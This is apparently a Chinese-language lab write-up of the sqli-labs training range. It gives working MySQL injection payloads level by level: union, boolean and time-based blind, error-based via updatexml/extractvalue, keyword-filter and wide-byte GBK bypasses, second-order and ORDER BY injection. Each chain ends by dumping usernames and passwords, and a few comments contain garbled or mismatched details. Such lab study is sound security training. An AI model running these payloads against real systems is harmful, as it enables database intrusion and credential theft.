参考文章:详细sqli-labs(1-65)通关讲解-CSDN博客
第1关:
输入 :
?id=3
输入 :
?id=2
当输入的数字不同,页面的响应也不同,说明,输入的内容被带入到数据库里查询了
输入:
?id=2'、?id=2'++(数字+字符形式)
返回结果如下图所示:
均产生报错,说明sql语句是字符型存在sql注入漏洞
采用联合注入的方法
输入:
?id=1'order by 4 --+
?id=1'order by 3 --+
当执行?id=1'order by 3 --+ 后没有报错,说明表格有3列
输入:
?id=-1'union select 11,22,33--+
//爆出显示位,就是看看表格里面那一列是在页面显示的
结果如下图所示:
显示了22 和33,说明表格中的第二、三列数据会显示在页面
输入:
//获取当前数据的名字和版本号
?id=-1'union select 1,database(),version()--+
结果如下所示:
输入:
//从系统表 information_schema.tables 中,筛选出属于security数据库的表,即得到sercurity数据库中的内容
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果如下所示:
结果说明:security数据库中有 email、referers、uagents、users 4个数据库
输入:
//筛选出属于users表的列信息,即只查users表的列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
结果如下图所示:
结果说明:
在security数据库中的users表下有 USER、CURRET_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password ,共6列
输入:
//得到user表中 username 和 password 这两个字段的内容
?id=-1' union select 1,2,group_concat(username,id,id,password) from users--+
结果如下图所示:
第5关
思路:利用布尔盲注,通过构造条件语句,利用页面返回的布尔值(如页面正常显示表示条件为真,页面报错或异常表示条件为假)逐步推测数据库信息。
(1)获取当前数据库名
1.判断数据库名长度
输入:
//判断当前数据库名的长度是否大于 9
?id=1'and length((select database()))>9--+
结果如下图所示:
页面是空白,报错,说明当前数据库名字的长度大于不大于9
2.逐字符推测数据库名
输入:
//判断数据库名的第1个字符的ASCII码是否为115对应字母s)
?id=1'and ascii(substr((select database()),1,1))=115--+
结果如下图所示:
页面成功反馈,说明数据库的第一个字符确实是s
依次判定每一个字符,再通过页面的反馈,即可确认数据库的完整名字
(2)获取所有表名
1.判断所有表名的总长度
输入:
//判断所有表名的总长度--判断其拼接起来后总长度是否大于13
//information_schema.tables 存储所有表信息
//table_schema=database() 限定为当前数据库
//group_concat() 将多行结果拼接为一个字符串?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
页面成功反馈,说明数据库所有表名的总长度大于13
以此类推,将13改为其他数字,最终可判断所有表名拼接而成所形成字符串的总长度
2.逐字符推测表名
输入:
//判断所有表名拼接后的第1个字符的ASCII码是否大于97(对应字母a)
//判断所有表名拼接后的第1个字符的ASCII码是否大于127(对应字母w)
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+
结果如下图所示:
这两次测试说明:所有表名拼接后,第一个字母在c和w之间,以此类推,对每一个位置的字母进行ceshi,即可得到由所有表名拼接而成的字符串的具体内容
(3)获取指定表的列名
1.判断列名总长度
输入:
//由上一步的推测能得到存在一个名为users的表
//判断表中的列名总长度--判断users表的所有列名拼接后的总长度是否大于20
//判断表中的列名总长度--判断users表的所有列名拼接后的总长度是否大于6
//information_schema.columns存储所有列信息,通过table_name='users'筛选目标表?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>6--+
结果如下图所示:
可判断所用列名的总长度超过6,但低于20,以此类推,可逐步缩小范围,最终确定列名的总长度
2.逐字符推测列名:
输入:
//判断users表的列名拼接后的第1个字符的ASCII码是否大于99
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
结果如下图所示:
同前,经过逐步缩小范围,最终可确定列名拼接形成的字符串的具体内容
(4)获取指定表的字段内容
输入:
//由上一步的推测能得到users的表中存在username字段和password字段
//判断内容总长度--判断users表中username和password字段的所有值拼接后的总长度是否大于109
//逐字符推测内容--判断users表中username和password拼接后的第1个字符的ASCII码是否大于50(对应数字2)?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
以此类推,可逐步缩小范围,最终确定字段的详细内容
第9关
思路:第九关的特点是无论注入条件是否成立,页面都返回相同的内容,无法通过返回的内容来判断条件是否成立,因此采用时间盲注,通过响应时间是否有延迟来判断条件是否成立,例如:
以下语句:
IF(condition,sleep(5),1):如果条件condition为真,则暂停执行5秒,否则立即返回1,反映到页面上的执行效果则为:
条件为真-->延迟5秒响应
条件为假-->立即响应
在网络连接较好的情况下,可以适当上调sleep()中的参数,使得延迟响应与立即响应之间的差距拉大,更好判别
(1)测试注入点、获取数据库名
输入:
//1.验证注入点是否存在
?id=1' and if(1=1,sleep(5),1)--+
//若页面延迟5秒加载,说明SQL语句被成功执行,且数据库支持IF和SLEEP函数//2.判断数据库名字的长度--判断当前数据库名的长度是否大于9
?id=1'and if(length((select database()))>9,sleep(5),1)--+
//若延迟5秒 ,则长度 > 9。若立即响应 ,则长度≤9,然后调整比较值(如>10、=8),直到找到准确长度//3.逐字符推测数据库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
//判断数据库名的第1个字符是否为s(ASCII 码 115),然后遍历ASCII码范围(如>97,=115),每个字符测试一次,根据延迟判断是否命中
(2)获取所有表名
输入:
//1.判断所有表名的总长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
//判断当前数据库下所有表名拼接后的总长度是否大于13,然后调整比较值,直到找到准确长度//2.逐字符推测表名
?id=1'and if(length((select database()))>9,sleep(5),1)--+
//判断表名拼接后的第1个字符的ASCII码是否大于c(99),然后调整比较值,直到找到准确的字符
(3)获取指定表的列名
输入:
//由上一步的推测能得到存在一个名为users的表
//1.判断列名总长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
//判断users表的所有列名拼接后的总长度是否大于20,然后调整比较值,直到找到准确长度//2.逐字符推测列名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
//判断表名拼接后的第1个字符的ASCII码是否大于c(99),然后调整比较值,直到找到准确的字符
(4)获取指定表的字段内容
输入:
//由上一步的推测能得到users的表中存在username字段和password字段
//1.判断内容总长度
?id=1'and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
//判断users表中username和password字段的所有值拼接后的总长度是否大于109,然后调整比较值,直到找到准确长度//2.逐字符推测内容
?id=1'and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
//判断拼接后的第1个字符的ASCII码是否大于2(50),然后调整比较值,直到找到准确的字符
第11关
思路:十一关开始post请求,参数是在表单里面,可以直接在输入框进行注入。根据前面的猜测,sql语句的大概形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型
输入:username:1
发现报错
输入username:33 ,出现如下图所示的报错, 从 near “33” and password =“LIMIT0,1” at line 1 可推测,sql语句的大致形式为: username= 、password=
输入username:恒成立语句(如33’ or 33=33#),使用#来所有部分,注释掉sql语句后面的,使其不影响sq语句的判别
第17关:
思路:利用MySQL的UPDATEXML()函数进行报错注入攻击,这种技术通过构造非法的XPath表达式,强制数据库在错误信息中泄露敏感信息(如版本号、数据库名、表结构和数据等)
(1)获取MySQL服务器版本号
//获取MySQL服务器版本号
//version() 返回 MySQL 版本字符串(如 5.7.33)
//concat(0x5c, ..., 0x5c) 在结果前后添加反斜杠 \(0x5c 是反斜杠的十六进制编码)
//extractvalue(1, ...) 尝试从数字 1 中提取 XPath 路径,但由于路径包含非法字符(如版本号中的 .),MySQL 会抛出错误:XPATH syntax error: '\5.7.33\'错误信息中包含了版本号
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))
(2)获取当前使用的数据库名
//获取当前使用的数据库名
//同样因非法 XPath 路径触发报错:XPATH syntax error: '\security\'
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))
(3)获取当前数据库中的所有表名
//获取当前数据库中的所有表名
//information_schema.tables 是 MySQL 系统表,存储所有表的元数据
//table_schema=database() 限定为当前数据库
//group_concat(table_name) 将所有表名用逗号连接(如 users,posts,comments)
//报错信息:XPATH syntax error: '\users,posts,comments\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))
(4)获取特定表中的所有列名
//获取 users 表的所有列名
//information_schema.columns 存储所有列的元数据
//table_name='users' 限定为 users 表
//报错信息:XPATH syntax error: '\id,username,password,email\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))
(5)获取用户的密码字段值
//获取用户 admin1 的密码字段值
//内层子查询 (select password from users where username='admin1') 获取指定用户的密码
//外层子查询 select password from (...) b 确保只返回一个值(避免多行错误)
//报错信息:XPATH syntax error: '\p@ssw0rd\'
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))
(6)获取特定表中的所有用户的用户名和密码(批量提取)
//获取 users 表中所有用户的用户名和密码(批量提取)
//group_concat(username,password) 将所有用户的 username 和 password 连接为字符串(如 admin:p@ssw0rd,test:123456)
//报错信息:XPATH syntax error: '\admin:p@ssw0rd,test:123456\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c))
第二十四关
思路:采用二次注入,利用注册时存入数据库的恶意内容,在密码修改环节触发注入,利用 #
注释符截断 SQL 语句,绕过密码验证
(1)注册恶意用户
(2)登录恶意用户,进入密码修改界面,修改密码,执行二次注入
系统会加载恶意用户名,为后续注入做准备
(4)验证结果,登陆管理员账号
验证成功
第二十五关
思路:本关是一个基于字符型的 SQL 注入关卡,通常涉及对or、and等关键字的过滤,可通过构造特殊的URL参数进行注入(注入方式相较于之前,只需跟换关键字)
输入:
//从MySQL数据库中获取security数据库下的所有表名
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
结果如下图所示,表名注入成功:
第26关
思路:本关将逻辑运算符,注释符以及空格给过滤了,需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换
(1)获取表名
//获取security数据库中的所有表名
//'||(updatexml(...))||'0:使用 ||(逻辑或)替代被过滤的 OR 关键字
//UPDATEXML 函数故意构造错误的XPath表达式,触发报错并回显数据
//infoorrmation_schema:双写r绕过对information_schema的过滤
//group_concat(table_name):将所有表名合并为一个字符串(如 users,emails,referers)
//0x7e:十六进制表示的 ~ 符号,用于在错误信息中标记数据边界
//预期输出:错误信息中包含类似 XPATH syntax error: '~users,emails,referers~' 的内容
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
(2)获取字段名
//获取security数据库中users表的所有字段名
//andnd:双写and绕过对AND的过滤
//table_name='users':限定只查询users表的字段
//预期输出:错误信息中包含类似 ~id,username,password~ 的内容
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
(3)获取账户密码
//获取users表中的账户名和密码
//passwoorrd:双写r绕过对password的过滤
//group_concat(passwoorrd,username):将密码和用户名合并(如 admin123admin),未使用分隔符导致结果可能粘连
//预期输出:错误信息中包含类似 ~admin123admin,test456test~ 的内容(密码和用户名无分隔)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
第27关:
思路:同26关一样,本关将select和union给过滤了,通过更换大小写绕过以及重写绕过
(1)获取表名
//获取security数据库中的所有表名
//1'or(...)or'0:用or拼接子查询,使整个条件恒为真(1 OR ... OR 0)
//selselecselecttect:双写select 绕过对SELECT的过滤
//updatexml(1,concat(0x7e,...),1):构造错误的XPath表达式(含 0x7e 即 ~),触发报错并带出 group_concat(table_name) 的结果。
//预期输出:
//错误信息中包含类似 XPATH syntax error: '~users,emails,referers~' 的内容。
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
(2)获取字段名
//获取security数据库中users表的所有字段名
//selselecselecttect:同上,绕过 SELECT 过滤。
//table_name='users':限定查询 users 表的字段。
//预期输出:错误信息中包含类似 ~id,username,password~ 的内容
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
(3)获取账户密码
//获取账户密码
//elselecselecttect:绕过 SELECT 过滤
//group_concat(password,username):将密码和用户名合并(如 admin123admin),未使用分隔符导致结果可能粘连
//预期输出:错误信息中包含类似 ~admin123admin,test456test~ 的内容(密码和用户名无分隔)
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0
第32关
思路:利用宽字节注入绕过单引号过滤。Less-32 通常会对单引号进行转义(如'
变为\'
),但如果应用配置不当(如magic_quotes_gpc开启且字符集为 GBK),攻击者可通过构造宽字节绕过过滤
(1)获取当前数据库名
//获取当前数据库名
//-1%df%27:%df(即0xDF)与后续转义的\(0x5C)组合成宽字节0xDF5C,在 GBK 编码中对应字符Ý\,绕过单引号过滤,id=-1使原查询条件为假,确保UNION子句生效
//union select 1,database(),3:通过UNION合并查询,database()返回当前数据库名
//预期输出:页面显示当前数据库名(如security)
?id=-1%df%27%20union%20select%201,database(),3%20--+
(2)获取表名
//获取当前数据库中的所有表名
//group_concat(table_name):将所有表名合并为一个字符串(如users,emails,referers)。
//table_schema=database():限定查询当前数据库的表。
//预期输出:页面显示所有表名(如users,emails,referers)
id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
(3)获取特定表的字段名
//获取users表的所有字段名
//table_name=0x7573657273:0x7573657273是users的十六进制表示,绕过可能的字符串过滤。
//预期输出:页面显示users表的字段名(如id,username,password)
id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
(4)获取账户密码
//获取users表中的账户名和密码
//group_concat(password,username):将密码和用户名合并(如admin123admin),未使用分隔符导致结果可能粘连。
//预期输出:页面显示所有账户的密码和用户名(如admin123admin,test456test)
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
第46关
思路:本关是专门针对 ORDER BY 注入和报错注入设计的关卡,可以通过构造恶意的sort参数,利用 MySQL 的UPDATEXML函数强制数据库在错误信息中泄露敏感数据(如用户名和密码)
输入:
//从users表中提取所有用户的密码和用户名
//sort=1:原 SQL 可能为ORDER BY 1,攻击者通过注入AND (...)修改查询逻辑
//and (updatexml(...)):添加恶意子查询,使原查询变为ORDER BY 1 AND (恶意代码)
//UPDATEXML 函数:
//UPDATEXML(xml_document, xpath_expr, new_value)
//参数 1:1(任意值,不影响报错)
//参数 2:concat(0x5c,(子查询),0x5c)
//0x5c:十六进制表示的反斜杠\,用于标记数据边界
//(select group_concat(password,username) from users):查询users表的密码和用户名并合并。
//参数 3:1(任意值,不影响报错)
?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))